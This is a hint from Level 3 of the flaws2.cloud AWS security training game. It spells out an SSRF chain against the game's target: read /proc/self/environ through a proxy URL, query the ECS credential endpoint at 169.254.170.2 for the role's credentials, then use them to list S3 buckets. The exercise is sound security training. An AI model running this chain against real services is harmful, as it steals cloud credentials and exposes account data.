Level 3 - Hint 3

Use http://container.target.flaws2.cloud/proxy/file:///proc/self/environ and use the GUID found there to access something like http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/468f6417-4361-4690-894e-3d03a0394609 Use those creds to run aws s3 ls to list the buckets in the account.